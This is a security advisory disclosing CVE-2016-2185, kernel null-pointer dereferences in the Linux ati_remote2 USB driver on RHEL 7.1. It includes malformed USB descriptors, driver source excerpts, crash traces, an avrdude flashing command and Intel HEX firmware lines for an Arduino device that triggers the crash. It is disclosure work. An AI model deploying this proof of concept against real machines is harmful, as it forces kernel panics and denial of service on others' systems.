

OS-S Security Advisory 2016-18

Linux ati_remote2 multiple Nullpointer Dereferences

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Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg

CVE: CVE-2016-2185

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (ati_remote2 driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the ati_remote2 driver

Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

These bugs were found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0xff
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x471
idProduct:	0x602
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing only one interface descriptor.

The ati_remote2 driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors.

Since the ati_remote2 driver is expecting a second interface descriptor, the driver tries to dereference a null-pointer.

This results in a crash of the system.

The null-pointer dereference happens in `usb_driver_claim_interface()` because the ati_remote2 driver passes in the second parameter a null-pointer:

```

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 1399
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:825
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/ati_remote2.c)
...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc;
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1); /* <-- usb_ifnum_to_if returns a null-pointer if there is only one interface configured */
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); /* the second parameter is obviously a null-pointer which crashes the system
*/
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
...
****

```

[*] Configuration-Descriptor

bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31

[*] Interface-Descriptor

bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0

[*] Device-Descriptor #2

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0xff
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x471
idProduct:	0x602
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing two interface-descriptors.
 The ati_remote2 driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors.
 If one of them contains a zero-value for bNumEndpoints or no endpoint-descriptor is configured for the corresponding interface-descriptor, the ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:

```

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 13ff
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/ati_remote2.c)
...
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)
633 {
...
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer derference */
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));
...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-0) */
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
828     ar2->ep[1] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-1) */
...
****

```

[*] Configuration-Descriptor

bLength: 0x9
 bDescriptorType: 0x2
 wTotalLength: 0x27
 bNumInterfaces: 0x1
 bConfigurationValue: 0x1
 iConfiguration: 0x0
 bmAttributes: 0x0
 bMaxPower: 0x31

[*] Interface-Descriptor

bLength: 0x9
 bDescriptorType: 0x4
 bInterfaceNumber: 0x0
 bAlternateSetting: 0x0
 bNumEndpoints: 0x0 ←malicious value for interface-0
 bInterfaceClass: 0x0
 bInterfaceSubClass: 0x0
 bInterfaceProtocol: 0x0

[*] Endpoint-Descriptor:

bLength: 0x7
 bDescriptorType: 0x5
 bEndpointAddress: 0x81
 bmAttribut: 0x3
 wMaxPacketSize: 0x404
 bInterval: 0xc

[*] Interface-Descriptor

```

bLength:                0x9
bDescriptorType:        0x4
bInterfaceNumber:       0x0
bAlternateSetting:      0x0
bNumEndpoints:         0x0 ←malicious value for interface-1
bInterfaceClass:        0x0
bInterfaceSubClass:     0x0
bInterfaceProtocol:     0x0

```

[*] Endpoint-Descriptor:

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x81
bmAttribut:             0x3
wMaxPacketSize:         0x404
bInterval:              0xc

```

Proof of Concept:

For a proof of concept, we are providing two Arduino Leonardo firmware files. These firmware files will emulate defective USB devices.

```

avrduide -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex

```

Firmware files have been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

Severity and Ease of Exploitation:

Both vulnerabilities can be easily exploited. Using our Arduino Leonardo firmware files, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

To this day, no security patches were provided by the vendor.

Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory.

References:

- https://bugzilla.redhat.com/show_bug.cgi?id=1283362
- https://bugzilla.redhat.com/show_bug.cgi?id=1283363

Kernel Stacktrace #1:

```

[ 869.909147] usb 1-1: config index 0 descriptor too short (expected 27, got 18)
[ 869.934680] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[ 869.941501] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 869.949470] usb 1-1: Product: ĉ
[ 869.953504] usb 1-1: Manufacturer: ĉ
[ 869.957975] usb 1-1: SerialNumber: %
[ 869.995183] BUG: unable to handle kernel NULL pointer dereference at 00000000000000c0
[ 869.996024] IP: [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[ 869.996024] PGD 0
[ 869.996024] Oops: 0000 [#1] SMP
[ 869.996024] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebtable_nat
ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 869.996024] CPU: 0 PID: 2243 Comm: systemd-udev Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 869.996024] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 869.996024] task: ffff88000bcfc440 ti: ffff88000afe8000 task.ti: ffff88000afe8000
[ 869.996024] RIP: 0010:[<ffffffff8141bf4e>] [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[ 869.996024] RSP: 0018:ffff88000afebb60 EFLAGS: 00010286
[ 869.996024] RAX: 00000000ffffff0 RBX: 0000000000000000 RCX: 0000000000000000

```

```

[ 869.996024] RDX: ffff8800c3abc00 RSI: 0000000000000000 RDI: ffffffff0396080
[ 869.996024] RBP: ffff8800afebb90 R08: 0000000000000000 R09: ffff8800e401500
[ 869.996024] R10: ffffffff0394359 R11: ffffffff810020d8 R12: ffff88000f64a188
[ 869.996024] R13: ffffffff03960e8 R14: ffff8800bcd3000 R15: ffff88000c3abc00
[ 869.996024] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 869.996024] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 869.996024] CR2: 0000000000000000 CR3: 00000000c44c000 CR4: 000000000000006f
[ 869.996024] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 869.996024] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 869.996024] Stack:
[ 869.996024] ffffffff0394359 ffff8800c525800 ffff88000f64a188 ffffffff03960e8
[ 869.996024] ffff8800bcd3000 ffff8800c3abc00 ffff8800afebbe0 ffffffff0394399
[ 869.996024] ffff8800afebbe0 ffff8800bcd3000 ffff8800bcd3090 ffff8800bcd3090
[ 869.996024] Call Trace:
[ 869.996024] [<ffffffffff0394359>] ? ati_remote2_probe+0x59/0x4ec [ati_remote2]
[ 869.996024] [<ffffffffff0394399>] ati_remote2_probe+0x99/0x4ec [ati_remote2]
[ 869.996024] [<ffffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 869.996024] [<ffffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 869.996024] [<ffffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 869.996024] [<ffffffffff813d3420>] ? __device_attach+0x40/0x40
[ 869.996024] [<ffffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 869.996024] [<ffffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 869.996024] [<ffffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 869.996024] [<ffffffffff813d3b34>] driver_register+0x64/0xf0
[ 869.996024] [<ffffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 869.996024] [<ffffffffff0399000>] ? 0xffffffffff0398fff
[ 869.996024] [<ffffffffff039901e>] ati_remote2_driver_init+0x1e/0x1000 [ati_remote2]
[ 869.996024] [<ffffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 869.996024] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 869.996024] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 869.996024] [<ffffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 869.996024] [<ffffffffff810ddaa6>] Sys_finit_module+0xa6/0xd0
[ 869.996024] [<ffffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 869.996024] Code: c3 66 66 66 2e 0f 1f 84 00 00 00 00 0f 1f 44 00 00 55 b8 f0 ff ff ff 48 89 e5 41 57 41 56 41 55
41 54 53 48 89 f3 48 83 ec 08 <48> 83 be c0 00 00 00 00 75 74 48 8b 46 30 4c 8d 76 30 49 89 fd
[ 869.996024] RIP [<ffffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[ 869.996024] RSP <ffff8800afebb60>
[ 869.996024] CR2: 00000000000000c0
[ 870.442943] ---[ end trace b239663354a1c556 ]---
[ 870.448066] Kernel panic - not syncing: Fatal exception
[ 870.449016] drm_kms_helper: panic occurred, switching back to text console

```

Kernel Stacktrace #2:

```

[ 39.447664] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 39.657384] usb 1-1: config 1 interface 0 altsetting 0 has 1 endpoint descriptor, different from the interface
descriptor's value: 0
[ 39.663707] usb 1-1: config 1 interface 1 altsetting 0 has 1 endpoint descriptor, different from the interface
descriptor's value: 0
[ 39.705574] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[ 39.712580] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 39.721329] usb 1-1: Product: ĉ
[ 39.725410] usb 1-1: Manufacturer: ĉ
[ 39.728891] usb 1-1: SerialNumber: %
[ 39.794568] BUG: unable to handle kernel NULL pointer dereference at 0000000000000002
[ 39.795021] IP: [<ffffffffff03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[ 39.795021] PGD 0
[ 39.795021] Oops: 0000 [#1] SMP
[ 39.795021] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebtable_nat
ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 39.795021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 39.795021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33f8e13 by qemu-
project.org 04/01/2014
[ 39.795021] task: ffff8800bcfa220 ti: ffff8800bd20000 task.ti: ffff8800bd20000
[ 39.795021] RIP: 0010: [<ffffffffff03943ff>] [<ffffffffff03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[ 39.795021] RSP: 0018:ffff8800bd23ba0 EFLAGS: 00010286
[ 39.795021] RAX: ffff8800c500c00 RBX: ffff8800c525800 RCX: 0000000000000002
[ 39.795021] RDX: 0000000000004a90 RSI: ffff8800c500c00 RDI: 0000000000000000
[ 39.795021] RBP: ffff8800bd23be0 R08: 0000000000000000 R09: ffffffff814183da
[ 39.795021] R10: ffff8800e401800 R11: ffffffff810020d8 R12: 0000000000000000
[ 39.795021] R13: ffff8800bcd0000 R14: ffff88000f050850 R15: ffff88000f050800
[ 39.795021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 39.795021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 39.795021] CR2: 0000000000000002 CR3: 00000000d6a6000 CR4: 000000000000006f

```


:100250009F4F2EE0DC011D922A95E9F7408324E0B0
:100260002183DC01242F01900D922A95E1F79E0154
:1002700022583F4FFC0133872287215031093587AF
:1002800024878E01055A1F4F2CE0D8011D922A9514
:10029000E9F721E0F80121877596D80101900D92C8
:1002A0004A95E1F7D8011B969C938E931A9761E0CB
:1002B00088E00E94290380E392E00E9425068DE6F3
:1002C00092E00E9425068CEA92E00E9425068BEEC1
:1002D00092E00E94250687E293E00E94250684E6CC
:1002E00093E00E94250689E893E00E94250680EDB0
:1002F00093E00E94250683E00E945F03892B09F0AA
:1003000046C05E01B3E2AB0EB11C8824839482E147
:10031000982E89EF93E00E942506BF92AF92DF925C
:10032000CF92FF92EF921F928F921F930F93EDB790
:10033000FEB772970FB6F894FEBF0FBEEDBFADB714
:10034000BEB71196FE01FB96892D01900D928A95FC
:10035000E1F783E595E00E94C30568E873E180E07A
:1003600090E00E943B0283E595E00E940E0660E06B
:1003700087E00E94290368E873E180E090E00E9432
:100380003B020FB6F894DEBF0FBECDBFC2CF6AE00E
:1003900070E080E090E00E943B02ADCF1F920F9290
:1003A000FB60F9211242F933F938F939F93AF9388
:1003B000BF9380914B0590914C05A0914D05B09154
:1003C0004E0530914A0523E0230F2D3720F4019686
:1003D000A11DB11D05C026E8230F0296A11DB11D68
:1003E00020934A0580934B0590934C05A0934D05AF
:1003F000B0934E0580914F0590915005A091510505
:10040000B09152050196A11DB11D80934F059093A7
:100410005005A0935105B0935205BF91AF919F91A4
:100420008F913F912F910F900FBE0F901F901895B5
:100430003FB7F89480914F0590915005A0915105D8
:10044000B091520526B5A89B05C02F3F19F0019623
:10045000A11DB11D3FBF6627782F892F9A2F620FEC
:10046000711D811D911D42E0660F771F881F991F26
:100470004A95D1F70895CF92DF92EF92FF92CF93F2
:10048000DF936B017C010E941802EB01C114D104BF
:10049000E104F10479F00E9418026C1B7D0B683EA8
:1004A0007340A0F381E0C81AD108E108F108C851EF
:1004B000DC4FECCDF91CF91FF90EF90DF90CF90AA
:1004C0000895789484B5826084BD84B5816084BDCC
:1004D00085B5826085BD85B5816085BDEEE6F0E0BD
:1004E000808181608083E1E8F0E010828081826019
:1004F0008083808181608083E0E8F0E0808181609A
:100500008083E1E9F0E08081826080838081816086
:100510008083E0E9F0E0808181608083E1ECF0E0BD
:10052000808184608083808182608083808181601B
:100530008083E3ECF0E0808181608083E0ECF0E098
:10054000808182608083E2ECF0E080818160808342
:10055000EAE7F0E08081846080838081826080832C
:10056000808181608083808180688083089590E0AD
:10057000FC013197EE30F10590F5EA5AFF4F0C94EB
:100580006B09809180008F7703C0809180008F7D00
:1005900080938000089584B58F7702C084B58F7DE5
:1005A00084BD0895809190008F7707C0809190005E
:1005B0008F7D03C080919000877F80939000089585
:1005C0008091C0008F7703C08091C0008F7D8093A1
:1005D000C00008958091C200877F8093C200089573
:1005E000CF93DF9390E0FC01EA51FF4F2491FC018F
:1005F000EC5FFE4F8491882349F190E0880F991FAA
:10060000FC01E25CFE4FA591B491805D9E4FFC0120
:10061000C591D4919FB7611108C0F8948C91209531
:1006200082238C93888182230AC0623051F4F8942B
:100630008C91322F309583238C938881822B8883F1
:1006400004C0F8948C91822B8C939FBFDF91CF9143
:1006500008950F931F93CF93DF931F92CDB7DEB70B
:10066000282F30E0F901E853FF4F8491F901EA5156
:10067000FF4F1491F901EC5FFE4F04910023C9F084

:10068000882321F069830E94B7026981E02FF0E09E
:10069000EE0FFF1FE05DFE4FA591B4919FB7F89458
:1006A0008C91611103C01095812301C0812B8C9323
:1006B0009FBF0F90DF91CF911F910F910895CF931E
:1006C000DF93282F30E0F901E853FF4F8491F901BF
:1006D000EA51FF4FD491F901EC5FFE4FC491CC2356
:1006E00091F081110E94B702EC2FF0E0EE0FFF1F96
:1006F000EE5DFE4FA591B4912C912D2381E090E009
:1007000021F480E002C080E090E0DF91CF91089575
:10071000615030F02091F100FC0120830196F8CF68
:10072000289884E68093630508951092E90010925A
:1007300057051092560590935505809354050895DA
:10074000FF920F931F93CF93DF93F82E8B01EA0153
:10075000BA01C8010E946606F80120E030E08EEF81
:100760002C173D0791F1F7FE02C0A49101C0A081B2
:10077000609156057091570540915405509155056B
:1007800064177507ACF49091E8009570E1F39091CF
:10079000E80092FD1CC0A093F100A0915605B09115
:1007A00057051196AF73BB27AB2B11F48093E8006C
:1007B000A0915605B09157051196B0935705A09397
:1007C00056052F5F3F4F3196CBCFC90102C08FEF47
:1007D0009FEFDF91CF911F910F91FF9008951F928E
:1007E0000F920FB60F9211246F927F928F929F9269
:1007F000AF92BF92CF92DF92EF92FF920F931F932F
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